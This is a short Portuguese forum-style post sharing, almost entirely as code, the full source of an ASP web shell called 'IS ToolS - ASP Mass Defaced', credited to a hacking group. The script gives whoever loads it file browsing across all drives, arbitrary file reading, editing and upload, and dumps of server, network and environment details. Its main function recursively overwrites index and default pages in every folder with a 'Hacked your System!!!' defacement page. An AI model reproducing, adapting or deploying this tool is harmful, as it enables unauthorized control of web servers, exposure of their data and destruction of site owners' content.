Tweet
Esta ferramenta foi encontra em um site bugado.
Estou compartilhando o achado.
Estou compartilhando o achado.
Código:
<%
On Error Resume Next
Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
If request("path") <> "" then
Set ObjPasta = Objeto.GetFolder(request("path"))
Else
if request("t5") <> "" then
Set ObjPasta = Objeto.GetFolder(request("t5"))
Else
Set ObjPasta = Objeto.GetFolder(server.mappath("."))
end if
End If
If Trim(Request.QueryString("path")) = "" Then
caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
pos = Instr(caminho,"\")
pos2 = 1
While pos2 <> 0
If Instr(pos + 1,caminho,"\") <> 0 Then
pos = Instr(pos + 1,caminho,"\")
Else
pos2 = 0
End If
Wend
path = Left(caminho,pos)
Else
path = trim(Request.QueryString("path")) & "\"
End If
pagename = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME")))
Function functionfooter
response.write "<br><hr><font face='Fixedsys'><p align='center'><font color='#FF0000'> / </font>"
response.write "<a href='javascript:history.go(-1)'>"
response.write "<font color='#000080'> Voltar </a></font><font color='#FF0000'> / </font>"
response.write "<a href='" & pagename & "'>"
response.write "<font color='#000080'> Home </a></font>"
response.write "<font color='#FF0000'> / </font>"
response.write "<hr><font color='#000080' size='1'><br> I S 2007 | RitualistaS GrouP Priv8 | by Mental_Way</font></b></font></p>"
End Function
%>
<html>
<head>
<title>IS ToolS - ASP Mass Defaced - By Mental_Way</title>
<style>
body{
scrollbar-arrow-color: #BFBFBF;
scrollbar-3dlight-color: #FFFFFF;
scrollbar-highlight-color: #9F9F9F;
scrollbar-face-color: #FFFFFF;
scrollbar-shadow-color: #C0C0C0;
scrollbar-darkshadow-color: #FFFFFF;
scrollbar-track-color: #C0C0C0;}
</style>
</head>
<body bgcolor="#E4E4E4" text="#808080" leftMargin="0" topMargin="0">
<center>
<p><font color="#000080" size="4">I S Tools - ASP Mass Defaced<br>
RitualistaS GrouP Priv8<br>
</font><font color="#000080">By Mental_Way</font></p>
<hr>
<p><font face="Fixedsys" color="#000080">
<a href="<%=pagename%>" style="text-decoration: none">
<font color="#000080">Home</font></a></font><font face="Fixedsys" color="#FF0000">
/ </font><font face="Fixedsys" color="#000080">
<a href="<%=pagename%>?status=1" style="text-decoration: none">
<font color="#000080">Mass Deface</font></a></font><font face="Fixedsys" color="#FF0000">
/ </font><font face="Fixedsys" color="#000080">
<a href="<%=pagename%>?status=2" style="text-decoration: none">
<font color="#000080">System Info</font></a></font></u><font face="Fixedsys" color="#000080">
</font><font face="Fixedsys" color="#FF0000">/ </font>
<a href="<%=pagename%>?status=3" style="text-decoration: none">
<font face="Fixedsys" color="#000080">Upload</font></u></span><font face="Fixedsys" color="#000080">
</font></a><font face="Fixedsys" color="#FF0000">/ </font>
<a href="<%=pagename%>?status=4" style="text-decoration: none">
<font face="Fixedsys" color="#000080">Spammer</font></u></span><font face="Fixedsys" color="#000080">
</font></a><font face="Fixedsys" color="#FF0000">/ </font>
<a style="text-decoration: none" href="<%=pagename%>?status=6">
<font face="Fixedsys" color="#000080">Database</font></u></span><font face="Fixedsys" color="#000080">
</font></a><font face="Fixedsys" color="#FF0000">/ </font>
<a href="<%=pagename%>?status=5" style="text-decoration: none">
<font face="Fixedsys" color="#000080">Info/Contact</font></a></p>
</center><font face="Fixedsys" color="#000000"><hr></font><center><%
r_status = Request.QueryString("status")
SELECT CASE r_status
CASE "1" 'Mass Deface
%> <b><font color="#000080" face="Tahoma">MASS DEFACED<br>
</font></b><form method="POST" action="<%=pagename%>?status=f1">
<font face="Tahoma">
<font color="#000080">Voce está em<font size="2">:</font></font></font></font><font color="#FF0000" face="Tahoma" size="2">
<%=server.mappath(pagename)%></font><font color="#000000" face="Tahoma" size="2">
<br>
<br>
</font><font color="#000080" face="Tahoma">Caminho: </font>
<font face="Tahoma">
<input type="text" name="T3" size="44" style="font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%=server.mappath("\")%>">
<br>
</font>
<b><font size="2" face="Tahoma"><br>
</font></b><font face="Tahoma"><b>
<textarea rows="15" name="T4" cols="120" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0"><title> [ RitualistaS GrouP ] <title>
<p align="center"><b><font color="#ff0000" face="Courier New" size="6">
[ RitualistaS GrouP ]<br>
</font></b></p>
<p align="center"><b><font face="Courier New" size="4" color="#808080">
Hacked your System!!!</font></b></p>
<p align="center"><b><font face="Courier New" size="4" color="#808080">
The world isn't insurance!!!<br>
<br>
For a better world</font></b></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"><b><font face="Courier New" size="4" color="#808080">
Cast. AcidMuD - DarkSpyrit - Mental_Way</font></b></p>
<p align="center"></p></textarea> </b> <br>
<br>
<b><font color="#000080">Personalização de páginas:</font></b><br>
<br>
Page 1: </font>
<input type="text" name="P1" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><font face="Tahoma">
Page 2: </font>
<input type="text" name="P2" size="18" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666"><p>
<font face="Tahoma">
<br>
</font>
<input type="submit" value="Mass Defaced" name="B1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma">
<br>
<br>
OBS* Caso não seja preenchida a personalização de páginas, o a tools usará
como padrão as seguintes pages:<br>
index.html, index.htm, index.asp, defaul.html, default.htm, default.asp.</font></p>
</form>
<%
Response.Write FunctionFooter
CASE "2" 'Informções do sistema
Dim arrListaComponentes(47)
arrListaComponentes(0) = Array( "AB Mailer","ABMailer.Mailman" )
arrListaComponentes(1) = Array( "ABC Upload","ABCUpload4.XForm" )
arrListaComponentes(2) = Array( "ActiveFile","ActiveFile.Post" )
arrListaComponentes(3) = Array( "ActiveX Data Object","ADODB.Connection" )
arrListaComponentes(4) = Array( "Adiscon SimpleMail","ADISCON.SimpleMail.1" )
arrListaComponentes(5) = Array( "ASP DNS", "AspDNS.Lookup" )
arrListaComponentes(6) = Array( "ASP HTTP","AspHTTP.Conn" )
arrListaComponentes(7) = Array( "ASP Image","AspImage.Image" )
arrListaComponentes(8) = Array( "ASP Mail","SMTPsvg.Mailer" )
arrListaComponentes(9) = Array( "ASP NNTP News", "AspNNTP.Conn" )
arrListaComponentes(10) = Array( "ASP POP 3", "POP3svg.Mailer" )
arrListaComponentes(11) = Array( "ASP Simple Upload","ASPSimpleUpload.Upload" )
arrListaComponentes(12) = Array( "ASP Smart Cache","aspSmartCache.SmartCache" )
arrListaComponentes(13) = Array( "ASP Smart Mail","aspSmartMail.SmartMail" )
arrListaComponentes(14) = Array( "ASP Smart Upload","aspSmartUpload.SmartUpload" )
arrListaComponentes(15) = Array( "ASP Tear","SOFTWING.ASPtear" )
arrListaComponentes(16) = Array( "ASP Thumbnailer","ASPThumbnailer.Thumbnail" )
arrListaComponentes(17) = Array( "ASP WhoIs","WhoIs2.WhoIs" )
arrListaComponentes(18) = Array( "ASPSoft NT Object","ASPSoft.NT" )
arrListaComponentes(19) = Array( "ASPSoft Upload","ASPSoft.Upload" )
arrListaComponentes(20) = Array( "CDO NTS","CDONTS.NewMail" )
arrListaComponentes(21) = Array( "Chestysoft Image","csImageFile.Manage" )
arrListaComponentes(22) = Array( "Chestysoft Upload","csASPUpload.Process" )
arrListaComponentes(23) = Array( "Dimac JMail","JMail.Message" )
arrListaComponentes(24) = Array( "Distinct SMTP","DistinctServerSmtp.SmtpCtrl" )
arrListaComponentes(25) = Array( "Dundas Mailer","Dundas.Mailer" )
arrListaComponentes(26) = Array( "Dundas Upload","Dundas.Upload.2" )
arrListaComponentes(27) = Array( "Dundas PieChartServer", "Dundas.ChartServer.2")
arrListaComponentes(28) = Array( "Dundas 2D Chart", "Dundas.ChartServer2D.1")
arrListaComponentes(29) = Array( "Dundas 3D Chart", "Dundas.ChartServer")
arrListaComponentes(30) = Array( "Dynu Encrypt","Dynu.Encrypt" )
arrListaComponentes(31) = Array( "Dynu HTTP","Dynu.HTTP" )
arrListaComponentes(32) = Array( "Dynu Mail","Dynu.Email" )
arrListaComponentes(33) = Array( "Dynu Upload","Dynu.Upload" )
arrListaComponentes(34) = Array( "Dynu WhoIs","Dynu.Whois" )
arrListaComponentes(35) = Array( "Easy Mail","EasyMail.SMTP.5" )
arrListaComponentes(36) = Array( "File System Object","Scripting.FileSystemObject" )
arrListaComponentes(37) = Array( "Ticluse Teknologi HTTP","InteliSource.Online" )
arrListaComponentes(38) = Array( "Last Mod","LastMod.FileObj" )
arrListaComponentes(39) = Array( "Microsoft XML Engine","Microsoft.XMLDOM" )
arrListaComponentes(40) = Array( "Persits ASP JPEG","Persits.Jpeg" )
arrListaComponentes(41) = Array( "Persits ASPEmail","Persits.MailSender" )
arrListaComponentes(42) = Array( "Persits ASPEncrypt","Persits.CryptoManager" )
arrListaComponentes(43) = Array( "Persits File Upload","Persits.Upload.1" )
arrListaComponentes(44) = Array( "SMTP Mailer","SmtpMail.SmtpMail.1" )
arrListaComponentes(45) = Array( "Soft Artisans File Upload","SoftArtisans.FileUp" )
arrListaComponentes(46) = Array( "Image Size", "ImgSize.Check" )
arrListaComponentes(47) = Array( "Microsoft XML HTTP", "Microsoft.XMLHTTP" )
Response.Write "<b></font><font color='#000080'><p align='center'><br>INFORMAÇÕES DOS COMPONENTES<br><b></font>"
Response.Write "<br>Testando atualmente " & UBound(arrListaComponentes) + 1 & " componentes. <br> O processo pode demorar ...<br></font><br><p align='left'>"
' Rotina que verifica o componente do array é um objeto.
Function VerificaObjeto(pComponente)
Dim objComponente
On Error Resume Next
VerificaObjeto = False
Err.Clear
Set objComponente = Server.CreateObject(pComponente)
If Err = 0 Then VerificaObjeto = True
Set objComponente = Nothing
Err.Clear
End Function
Public Function VerificaComponentes()
Dim intCont, strTxt
Dim intIndex, strProv
intCont = 0
strTxt = "<table border='1' bordercolor='black' cellspacing='0' cellpadding='0' align='center' width='400'>"
For intIndex = LBound(arrListaComponentes) To UBound(arrListaComponentes)
strProv = intIndex
strTxt = strTxt & "<tr><td width='200'><font face='tahoma' size='3'>:: " & arrListaComponentes(intIndex)(0) & "</font></td>"
If VerificaObjeto(arrListaComponentes(intIndex)(1)) Then
strTxt = strTxt & "<td align=center><font color='red' face='tahoma' size='3'>< Instalado ></font></td>"
intCont = intCont + 1
Else
strTxt = strTxt & "<td align='center'><font face='tahoma' size='3'>Não Instalado</font></td>"
End If
strTxt = strTxt & "</tr>"
Next
strTxt = strTxt & "</table><br><p align='center'><font face='tahoma' size='3'><b> Somente " & intCont & "</b> componentes instalados de "
strTxt = strTxt & "<b>" & UBound(arrListaComponentes) + 1 & "</b> testados.</font> </p>"
VerificaComponentes = strTxt
End Function
Response.Write VerificaComponentes
Response.Write "<b><font color='#000080'>INFORMAÇÕES DO SISTEMA<br></font>"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Set WshNetwork = Server.CreateObject("WScript.Network")
Set WshShell = Server.CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("SYSTEM")
Response.Write "<br><font size='3'<p align='left'>"
Response.Write "IDENTIFICAÇÃO DE REDE:<br>"
Response.Write "Usuário: " & WshNetwork.UserName & "<br>"
Response.Write "Nome do Computador: " & WshNetwork.ComputerName & "<br>"
Response.Write "Usuário do Domínio: " & WshNetwork.UserDomain & "<br>"
Set Drives = WshNetwork.EnumNetworkDrives
For i = 0 to Drives.Count - 1
Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "<br>"
Next
Response.Write "<br>FÍSICO:<br>"
Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
Response.Write "Número de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
Response.Write "Nível do Processador: " & WshEnv("PROCESSOR_LEVEL") & "<br>"
Response.Write "Revisão do Processador: " & WshEnv("PROCESSOR_REVISION") & "<br>"
Response.Write "<b>LÓGICO:</b><br>"
Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "<br>"
Response.Write "Sistema Operacional: " & WshEnv("OS") & "<br>"
Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "<br>"
Response.Write "Especificação do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
Response.Write "Caminhos no Path: " & WshEnv("PATH") & "<br>"
Response.Write "Executáveis: " & WshEnv("PATHEXT") & "<br>"
Response.Write "Prompt: " & WshEnv("PROMPT") & "<br>"
Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "<br></font></table>"
Set Drives = Nothing
Set WshNetwork = Nothing
Set WshShell = Nothing
Set WshEnv = Nothing
Response.Write "<b></font><font color='#000080'><br><br><p align='center'><br><br>OUTRAS INFORMAÇÕES<br><b></font>"
Response.Write "<textarea rows='19' name='inf1' cols='167' style='font-family: Tahoma; font-size: 8pt; color: #666666; border: 1px solid #808080; background-color: #C0C0C0'>"
for each thing in request.servervariables
tempvalue=request.servervariables(thing)
response.write thing & "=" & tempvalue
%>
<font face="Tahoma">
<br>
<%
next
%>
</textarea></font></p><font face="Tahoma"><br>
<%
Response.Write FunctionFooter
CASE "3" 'Uploader
%> </font>
<form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f2">
<font face="Tahoma">
<b><font color="#000080">Upload de arquivos:</font><br>
<br>
</b>
</font>
<input type="FILE" size="40" name="FILE1" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma"><br>
<br>
<font color="#FF0000">Obs: O tamanho máximo permitido para o envio de arquivos
é 30 mb.</font><br>
<br>
</font>
<input type="submit" value="Uploader!!!" name="upload" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0; float:right"><font face="Tahoma"><br>
</font></form>
<%
Response.Write FunctionFooter
CASE "4" 'Spammer
Response.Write "Local do Spammer"
CASE "5" 'Info
Response.Write "Aqui abrirá o Informações adicionais"
CASE "6" 'Form Procurar MDB
Case "f6" 'Função Procura MDBS
caminho=request("T5")
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminho)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
folderItem.path
caminho= folderItem.path & "\"
next
CASE "f1" 'Função Mass deface
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
arquivomassdfc = patharquivotxt & "teste.txt"
Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
vetordelinhas = Split(Request.Form("T4"),VbCrLf)
For i = 0 To UBound(vetordelinhas)
Arquivotxt.WriteLine(vetordelinhas(i))
Next
Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
caminho=request("T3")
Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminhodomass)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
destino1 = folderItem.path & "\index.htm"
destino2 = folderItem.path & "\index.html"
destino3 = folderItem.path & "\index.asp"
destino4 = folderItem.path & "\index.cfm"
destino5 = folderItem.path & "\index.php"
destino6 = folderItem.path & "\default.htm"
destino7 = folderItem.path & "\default.html"
destino8 = folderItem.path & "\default.asp"
destino9 = folderItem.path & "\default.cfm"
destino10 = folderItem.path & "\default.php"
If request("P1") <> "" then
personal1 = request("P1")
destino11 = folderItem.path & "\" & personal1
MeuArquivo.Copy(destino11)
End If
If request("P2") <> "" then
personal2 = request("P2")
destino12 = folderItem.path & "\" & personal2
MeuArquivo.Copy(destino12)
End If
MeuArquivo.Copy(destino1)
MeuArquivo.Copy(destino2)
MeuArquivo.Copy(destino3)
MeuArquivo.Copy(destino4)
MeuArquivo.Copy(destino5)
MeuArquivo.Copy(destino6)
MeuArquivo.Copy(destino7)
MeuArquivo.Copy(destino8)
MeuArquivo.Copy(destino9)
MeuArquivo.Copy(destino10)
Response.Write "<table><tr><td><font face='Tahoma' size='2'>" & folderItem.path & "</td><br>"
If Err.Number = 0 Then
Response.Write "<td valign='baseline'><b><font face='Tahoma' size='2' color='blue'>DeFaCeD!!!</font><b></td></tr>"
Else
Response.Write "<td valign='baseline'><font face='Tahoma' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
End If
Err.Number = 0
Response.Flush
If metodo = "brute" Then
Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
End If
next
End Sub
Response.Write FunctionFooter
CASE "f2" 'Funcao uploader
Set Upload = Server.CreateObject("Persits.Upload")
' Limita o tamanho do arquivo para 30000 bytes (3Mb) de tamanho e gera uma mensagem de erro se o arquivo for maior
Upload.SetMaxSize 30000000, True
' Pula todas as mensagens de erro de servidor para a mensagem de erro personalizada
On Error Resume Next
' Local a ser gravado o upload
Upload.Save "E:\novosite\"
' 8 é o número do erro que corresponde a "Arquivo grande demais"
if Err.Number = 8 Then
Response.Write "Seu arquivo é grande demais. Por favor use um arquivo menor."
Else
If Err <> 0 Then
Response.Write "Um erro foi encontrado: " & Err.Description
Else
Response.Write "Upload realizado com sucesso!"
End If
End If
CASE "f3" ' Mostrar pagina
%>
<form method="POST" enctype="multipart/form-data" action="<%=pagename%>?status=f4&path=<%=request("path")%>">
<p align="center"><b><font face="Tahoma" color="#000080">VISUALIZAÇÃO DE ARQUIVOS</font><font face="Tahoma" size="2" color="#000000"><br>
</font></b><font color="#000080" face="Tahoma">Voce esta em:</font><font face="Tahoma" color="#FF0000">
<%=request("path")%> </font><b><font face="Tahoma" size="2" color="#000000"> </font></b><font face="Tahoma"><b><font size="2"><%
On Error Resume Next
if request("path") <> "" then
var_caminho=request("path")
set ObjFso2=server.CreateObject("Scripting.FileSystemObject")
Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False)
If ObjFso2=FileExists(var_caminho) = true then
Do While Not ObjAbreArq2.AtEndOfStream
Linha = Linha & ObjAbreArq2.Readline & chr(13)
Loop
Response.Write "<input type=hidden name=status value='11'>"
Response.Write "<textarea name=text rows=15 cols=120 style='font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #C0C0C0'>"
Response.Write server.HTMLEncode(linha)
Response.Write "</textarea>"
Response.Write "<br><input type=submit value=Salvar!!! style=font-family:Tahoma;font-size:8pt;color:#000000;border:1px solid #000080;background-color:#C0C0C0;float:center><br></form><center>"
Response.Write FunctionFooter
Else Response.Write "<br> Caminho indicado inexistente... Por favor tente novamente"
Response.Write FunctionFooter
End If
End IF
%>
<script LANGUAGE="JavaScript">
function file()
{
var ForAppending = 8;
var TriStateFalse = 0;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var newFile = fso.OpenTextFile("D:\asus\pw.txt", ForWriting, true, TriStateFalse);
}
</script>
</font></b></font></p>
</form>
<%
Case "f4" 'Salvar texto
caminho=request("path")
set saveTextFile = objFSO.OpenTextFile(caminho,2,true,false)
Set f = fso.CreateTextFile(path)
saveTextFile.Write Request.Form("text")
saveTextFile.close
if err<>0 then
byMsg = "<font color=red>Arquivo não editado!</font><br>"
else
byMsg = "<font color=yellow>Arquivo editado com sucesso:)</font><br>"
end if
Response.Write byMsg
Response.Write FunctionFooter
CASE default 'RESTO
%>
<font color="#000080">
<form method="POST" action="<%=pagename%>">
<%
dir=request("path")
If dir<>"" then
Response.Write "<p align=center>Voce esta em: </font><font color=#FF0000>" & dir
Else
Response.Write "<p align=center>Voce esta em: </font><font color=#FF0000>" & server.mappath(pagename)
end if
dir=nothing
%>
<p align="center"><font size="2" color="#000080" face="Tahoma">Caminho:
<b>
<input type="text" size="44" name="T5" style="font-family: Tahoma; font-size: 8pt; color: #FFFFFF; border: 1px solid #000080; background-color: #666666" value="<%
dir=request("path")
If dir<>"" then
Response.Write dir
Else
dual=Request("T5")
Response.Write dual
end if
%>"> </b></font>
<input type="submit" value="| GO |" name="B13" style="font-family: Tahoma; font-size: 8pt; color: #000000; border: 1px solid #000080; background-color: #C0C0C0"><font face="Tahoma">
<br></font></form>
</p>
<div align="center">
<p><font face="Tahoma"><%
DIM fs, d, dc, s, n, sp
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set dc=fs.drives
%> <%
On Error Resume Next
back1="#D3E2E7"
back2="#AFFEDE"
back=back2
Response.Write "<font color='#000080'>Discos Disponiveis:</font><br>"
FOR EACH d IN dc
IF (back=back2) THEN
back=back1
ELSE
back=back2
END IF
Response.Write "<u>|<a href=" & pagename & "?path=" & d.driveletter & ":\ style='text-decoration: none'> "
Response.write d.driveletter
Response.Write ": </a>|</u>"
next%> </font> </p>
<p></p>
<div align="center">
<div align="center">
<table border="1" cellpadding="0" cellspacing="0" width="90%" height="20" bgcolor="#C0C0C0" style="border-style:solid; border-width:1; border-collapse: collapse">
<tr>
<td width="27%" height="15" bgcolor="#808080">
<p align="center"><font size="2" color="#FFFFFF" face="Tahoma">Pastas</font></p>
</td>
<td width="73%" height="15" bgcolor="#808080">
<p align="center"><font face="Tahoma" color="#FFFFFF">Arquivos</font></p>
</td>
</tr>
<tr>
<td valign="top" width="27%" bgcolor="#C0C0C0" height="1">
<font color="#000000" face="Tahoma" size="2">
<%
If CInt(Len(path) - 1) <> 2 Then
barrapos = CInt(InstrRev(Left(path,Len(path) - 1),"\")) - 1
backlevel = Left(path,barrapos)
Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|_| : <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?path=" & backlevel & "'>. . .</a></font></b><br>"
End If
On Error Resume Next
Old = ObjPasta
News = strReverse(old)
News = instr(News, "/")
Leng = Len(old) - News
Old = Left(Old, Leng)
q = 1
syco contador
contador=1
For each Pasta in ObjPasta.Subfolders
PastaName=Pasta.Name
q = q + 1
Response.Write "<font face='tahoma' color='#000080' size=2 ><p align=left>::-:|" & Contador & "| : <a href='" & pagename & "?path=" & Old & "\" & PastaName & "' style=text-decoration: none>" & PastaName & "</a></p></font>"
Contador=contador+1
Next
q = q - 1
%> <br>
<br>
</font></td>
<td valign="top" width="73%" bgcolor="#C0C0C0" height="1"><%
On Error Resume Next
syco contador
Old = ObjPasta
contador=1
For Each Arquivo in ObjPasta.Files
ArquivoNome=Arquivo.Name
Response.Write "<font face='tahoma' color='#000080' size=2>::-:|" & Contador & "| : <a href='" & pagename & "?status=f3&path=" & Old & "\" & ArquivoNome & "' style=text-decoration: none>"& ArquivoNome & "</a></p></font>"
contador=contador+1
next
%><font face="Tahoma"> </font> </td>
</td>
</tr>
</table>
</div>
</div>
</td>
</tr>
</table>
</div>
</div>
</form>
<font face="Tahoma">
<br>
</font>
</font><font face="Tahoma"><%=Functionfooter%><%
END SELECT
%></font></body></html>
Comment